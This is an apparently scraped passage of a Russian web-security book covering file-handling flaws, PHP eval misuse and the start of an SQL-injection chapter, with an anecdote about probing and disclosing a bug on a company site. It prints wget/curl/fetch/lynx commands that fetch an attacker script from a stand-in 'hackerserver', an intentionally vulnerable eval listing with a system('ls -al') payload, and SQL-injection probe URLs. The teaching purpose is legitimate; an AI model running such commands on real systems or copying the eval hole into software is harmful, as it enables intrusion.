WEb практикум. Web'cepbep
Скачать 4.76 Mb.
|
HackedПоиск уязвимости и защита точно такая же, как и защита подключаемых файлов, о которой мы говорили в главе 3. Нужно просто передавать через все параметры мусор или пути к файлам, которые заведомо могут быть открыты на чтение или запись. Тут ничего нового я вам сказать не могу, просто необходимо как можно сильнее ограничить пользователя и выполнить следующие условия: пользователь не должен иметь возможности влиять на имя файла, лучше всего, если оно не будет передаваться от клиента, а будет жестко прописано в сценарии; если имя файла не может быть задано в сценарии, то из получаемого параметра должны быть удалены все опасные символы. Чтобы было проще, лучше всего в качестве имени передавать только числовой номер файла: например, имя файла может иметь вид testN.txt, где N — это число, которое и передается в качестве параметра; данные, которые записываются в файл, также должны фильтроваться, особенно если они потом будут отображаться на web-странице или передаваться системным функциям; не забываем, что попытки добавить в начало или конец параметра данные для формирования полного пути не гарантируют безопасности. Любые попытки проверить наличие файла в системе перед его открытием бессмысленны. Если хакер передает имя /etc/passwd и этот файл будет существовать в системе, то проверка на наличие файла пройдет успешно, и сценарий откроет его и отобразит. На этом, я думаю, рассмотрение данной проблемы можно завершить. Повторяться нет смысла, а нового добавить нечего. Кое-что мы повторим, когда будем рассматривать примеры уязвимостей работы с файлами на других языках программирования. Угроза безопасности Получив доступ к выполнению команд, хакер может захотеть сделать свою жизнь удобнее и прекраснее. Работать с ОС через уязвимость не всегда удобно, поэтому лучше написать какой-нибудь сценарий и закачать его на взламываемый web- сервер. А как закачать? Если перед вами web-сервер с установленной ОС из семейства UNIX, то можно воспользоваться одной из следующих команд: lynx, wget, curl или fetch. Давайте рассмотрим загрузку файла на примере. Допустим, что хакер написал сценарий и загрузил его на web-сервер. Полный путь к файлу будет следующим: http://hackerserver/hack.php. Загружать его будем во временный каталог, куда разрешен доступ, а точнее, в файл /tmp/hack.php. Выполните одну из следующих команд: lynx -source "http://hackerserver/hack.php"> > /tmp/hack.php wget -O /tmp/hack.php http://hackerserver/hack.php curl —output /tmp/hack.php http://hackerserver/hack.php fetch -o /tmp/hack.php http://hackerserver/hack.php Таким образом хакеры загружают не только сценарии, используемые для собственного удобства, но и определенные программы, которые необходимы для взлома. Например, если хакер хочет поднять свои права до администратора, то он может загрузить эксплоит, который будет использовать найденную уязвимость для получения необходимых прав. Конечно, если у вас установлены все обновления, то этот трюк не удастся. Тогда хакер может загрузить свои программы для выполнения необходимых действий: например, для рассылки спама, сканирования сетей, или использовать ваш web-сервер для взлома других. Если вы где-то используете команды для загрузки данных, то будьте осторожны при передаче им параметров, на которые может повлиять пользователь. Из этих четырех сценариев в файлах web-приложений чаще всего используют curl. Функция eval Функция eval получает в качестве параметра строку и выполняет его код как отдельный сценарий. Например, следующая команда выполнит функцию print для отображения на web-странице указанного текста: eval (print ("<Н1>сообщениеН1>'') ) ; Да, данный код не может показать всю мощь функции, поэтому посмотрим на содержимое листинга 4.5. Листинг 4.5. Использование функции eval Eval testif (isset($_GET['command'])) { $command = $_GET['command']; print("Executed command: $command "); eval($command); } ?> Этот сценарий отображает на web-странице форму для ввода. После нажатия кнопки Find содержимое поля ввода передается. Попробуйте запустить этот сценарий и передать следующую строку: print(system("ls -al")); В итоге функция eval выполнит этот код, который отображает результат выполнения функции system, а этой функции мы передаем команду ls -al, которая выводит содержимое текущего каталога. Никогда не используйте функцию eval без особой надобности, хотя мне сложно придумать случай, когда эта функция действительно понадобится. Она удобна только тогда, когда нужно выполнить код, находящийся в переменной. Если переменная прописана в сценарии, то проще написать этот код без eval. Ну, а если данные передаются от пользователя, то это огромная дыра в безопасности, которую очень сложно закрыть. Если честно, то я не видел такого случая, когда нельзя было бы обойтись без функции eval. Я рекомендую забыть про нее и никогда не использовать. ГЛАВА 5 SQL-инъекция (PHP + MySQL) SQL-инъекция (SQL Injection) — самая распространенная атака и при этом очень опасная. В рейтинге самых опасных уязвимостей я бы поставил ее на первое место. Да, выполнение системных команд может нанести серверу больше вреда, но обращение к системе используется в коде не так часто, а без баз данных в наше время очень тяжело. SQL Injection основана на том, что получаемые от пользователя параметры передаются в SQL-запрос без проверки на опасные символы. Что такое опасные символы? Это символы, которые позволяют корректировать запрос так, чтобы взломщик смог получить доступ к возможностям сверх разрешенных. Это внедрение (инъекция) собственного SQL-запроса в тело запроса, выполняемого сценарием на стороне web-сервера. Данная атака может быть удачно произведена на сценарии, написанные на различных языках (PHP, ASP, Perl и т. д.), и в этом мы убедимся на многочисленных примерах, приведенных в данной главе. Атака намного больше зависит от того, как написан код доступа к базе данных. Дело в том, что хакер корректирует SQL-запрос, выполняемый СУБД, каждая из которых имеет свои нюансы и поддерживает функции, которые могут не поддерживаться другими. СУБД — это умное название для систем управления базами данных, но в народе чаще просто говорят "базы данных". Ошибки, которые позволяют проводить SQL-инъекцию, очень распространены и весьма опасны. Но для их удачной реализации нужны хорошие знания в области написания SQL-запросов для конкретной СУБД. Основные операторы, такие как select, update и delete, практически одинаковые, с небольшими отличиями, и если вы знаете эти команды, то, скорее всего, сможете написать запросы под любой сервер базы данных. В этой главе мы поговорим об атаке типа "SQL-инъекция" и посмотрим, как хакеры ее могут реализовать и как программисты защищаются. А многочисленные примеры того, как находить ошибки, помогут вам оценить всю опасность ситуации и лучше понять, как найти эффективное решение в том или ином случае. Поиск При написании самого первого издания этой книги я бесцельно путешествовал по интернету в поисках интересного контента, на примере которого можно было бы показать уязвимости, и забрел на web-страницу одной компании, предлагающей решения для создания корпоративных web-сайтов (рис. 5.1). На изображении некоторые части закрашены, чтобы не портить репутацию компании, хотя ошибка уже давно исправлена. URL компании я также не стану афишировать, будем считать, что это www.XXXXXXXX.com. Рис. 5.1. Web-сайт компании, который я буду проверять Итак, компания предлагает решения для создания корпоративных web-сайтов. Мне стало интересно, как работает их собственный web-сайт и насколько он защищен. Говорят, что web-сайт — это лицо компании, и если он выглядит ужасно, то и компания такая же. Я такого мнения не придерживаюсь, потому что очень часто за неказистыми web-сайтами прячутся очень хорошие решения и программы. Первое, что я делаю, когда проверяю web-сайт на безопасность, — передаю мусор во всех параметрах, которые попадают мне на глаза, а дальнейшие мои действия уже зависят от ответной реакции. Среди этого мусора я обязательно указываю одинарную кавычку. Зачем? Читайте дальше и все поймете. Под параметрами я понимаю: все данные, вводимые в поля ввода. Если на web-сайте есть поле ввода, например поиска, то его данные, скорее всего, будут передаваться в качестве запроса базе данных. В это поле ввода необходимо попытаться передать какие-то данные и обязательно указать одинарную кавычку. Именно она является магическим символом в атаке "SQL-инъекция"; все параметры, передаваемые через строку URL. Параметры находятся в строке адреса после символа ? (вопросительного знака) и имеют вид имя=значение. Параметры разделяются между собой символом &. Допустим, URL выглядит следующим образом: http://www.sitename.com/index.php?id=2&page=1 Здесь всего два параметра: id и page. Первому присваивается значение 2, а второму — 1. Через такие параметры сценарии могут передавать определенные данные между web-страницами или от пользователя к сценарию. Сразу видно, что оба параметра, id и page, числовые. А что, если попытаться передать буквы или другие символы? Как на это отреагирует сценарий? Пять минут мучений, а положительной реакции никакой. Нет, сценарий отвечает мне, но вполне корректно обрабатывает все значения, которые я ему посылаю. Тогда я решил уже скачать демо-версию их программы и, развернув на своем web- сервере, посмотреть ее локально. При просмотре информации меня заинтересовала ссылка для печати. Наведя указатель на ссылку, я увидел в строке состояния не корректный адрес страницы, а текст javascript:;. Получается, что ссылка на страницу, которая должна загружаться, спрятана. Интересно, раз запрятали, значит, что- то там есть? А может, если запрятали, то расслабились и не проверили там параметры? Щелкнув по ссылке, я увидел просто окно для печати формы. Значит, первое отпадает. Посмотрим второе. Чтобы проверить параметры, для начала нам необходимо узнать реальную ссылку на сценарий, который выполняется. Для этого выбираем Вид | Просмотр HTML- кода, чтобы в коде найти ссылку, раз уж она спрятана под javascript:;. Опачки, а исходный код не появился! Интересно. Если это ошибка браузера, то это одно, а если попытка разработчика защититься от просмотра исходного кода, то это абсолютно глупо. Чтобы все же увидеть код, я сохранил web-страницу на локальном диске (Файл | Сохранить как). Web-страница без проблем сохранилась, теперь можно приступать к изучению исходного кода. Код кнопки печати выглядит следующим образом: "MM_openBrWindow('http://www.XXXXXXXXX.com/print.php?id=1', 'print', 'scrollbars=yes, width=600, height=400')" href="javascript:;"> Итак, ссылка на сценарий, который отвечает за отображения окна печати, выглядит следующим образом: http://www.XXXXXXXXXXX.com/print.php?id=1. Сценарию print.php передается один параметр id, которому присваивается значение 1. Имя классическое, значит, можно предположить, что и смысл его классический: по этому идентификатору сценарий определит, информацию о каком продукте необходимо подготовить к печати. Попробуем в качестве параметра передать не 1, а цифру и апостроф. Тут сценарий сообщает нам об ошибке в SQL-запросе. Попробуем в строке URL указать следующий адрес: http://www.XXXXXXxXxXX.com/print.php?id=1 and 1=0. Сценарий отобразил только web-страницу, на которой содержалась пара строк информации о компании и правообладателях. Видимо, эти строки отображаются для любого продукта и прошиты в самом сценарии, а не в базе данных. Теперь попробуем указать следующий адрес: http://www.XXXXXXXXXXXX.com/print.php?id=1 and 1=1 На этот раз web-страница отобразится корректно (рис. 5.2). Явная проблема с проверкой параметров, и весь текст, помещаемый нами в параметр id, попадает в SQL-запрос, который выполняет сценарий. Разработчик явно расслабился — понадеялся на то, что хакер не увидит ссылки, и не проверил получаемый от пользователя параметр, а зря. Если я нашел, то другие тоже смогут найти. Вот за что я люблю большие программы, так это за то, что тут больше вероятность, что найдется параметр, который не будет проверяться. Так случилось и в данном случае. На этом я закончил свое исследование, сообщив администраторам web- сайта о найденной ошибке. На следующий день ее исправили и уверили, что подобной ошибки нет в коммерческом продукте, который предлагает компания. Скачав этот продукт, я удостоверился, что это правда. Ошибка Итак, давайте рассмотрим атаку "SQL-инъекция" на примере. Я напишу небольшой сценарий (листинг 5.1), который будет содержать ошибку, и мы посмотрим, как злоумышленник сможет ею воспользоваться. Листинг 5.1. PHP-сценарий с ошибкой |